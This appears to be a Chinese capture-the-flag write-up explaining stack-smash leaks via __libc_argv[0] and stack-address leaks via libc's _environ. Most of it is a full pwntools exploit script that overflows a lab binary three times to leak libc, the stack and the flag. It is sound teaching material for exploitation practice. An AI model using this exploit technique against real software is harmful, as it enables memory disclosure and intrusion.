前言
通过这道题学习两个知识点:stack smash和_environ。
stack smash,在程序有canary的情况下,如果溢出会输出报错信息,这个报错信息保存在一个指针里面(&__libc_argv[0]),如果覆盖它为函数got表地址,报错的时候就输出函数真实地址。
_environ,libc里的一个环境指针,它指向栈地址。如果泄露出了libc地址,就可以获得_environ指针地址,也就可以泄露栈地址。
题目信息
没开PIE,GOT表可写。
程序有三次输入flag的机会,漏洞在于输入的地方,可以栈溢出。
漏洞利用
- 找到我们输入的位置(也就是s2)距离&__libc_argv[0]的偏移,栈溢出覆盖__libc_argv[0]为puts_got,泄露libc地址;
- 已知libc地址泄露栈地址用_environ,栈溢出覆盖__libc_argv[0]为libc_base+p64(libc.sym['_environ']),泄露_environ栈地址;
- 计算_environ距离flag字符串的偏移,栈溢出泄露flag字符串。
EXP
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
binary = './guess'
context.binary = binary
elf = ELF(binary,checksec=False)
def dbg(cmd=""):
gdb.attach(p,cmd)
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
def pwn(argv):
global p
global libc
if(len(argv)==1):
p = process(binary)
libc = elf.libc
else:
ip, port = "1.2.3.4:5678".split(":")
p = remote(ip, port)
libc = ELF("./libc-2.27.so")
# leak libc
# user input to &__libc_argv[0] 0x128
sla("Please type your guessing flag","A"*0x128+p64(elf.got['puts']))
ru(': ')
puts_addr = uu64(r(6))
leak('puts',puts_addr)
libc_base = puts_addr - libc.sym['puts']
leak('libc_base',libc_base)
# leak stack
environ_got = libc_base + libc.sym['_environ']
sla("Please type your guessing flag","A"*0x128+p64(environ_got))
ru(': ')
environ_addr = uu64(r(6))
leak('environ_addr',environ_addr)
# leak flag
# environ_addr - flag = 0x168
sla("Please type your guessing flag","A"*0x128+p64(environ_addr-0x168))
# dbg()
itr()
if __name__ == "__main__":
pwn(sys.argv)
总结
已泄露libc地址,需要泄露栈地址,可以输出libc_base+p64(libc.sym['_enivron']),它就在栈上。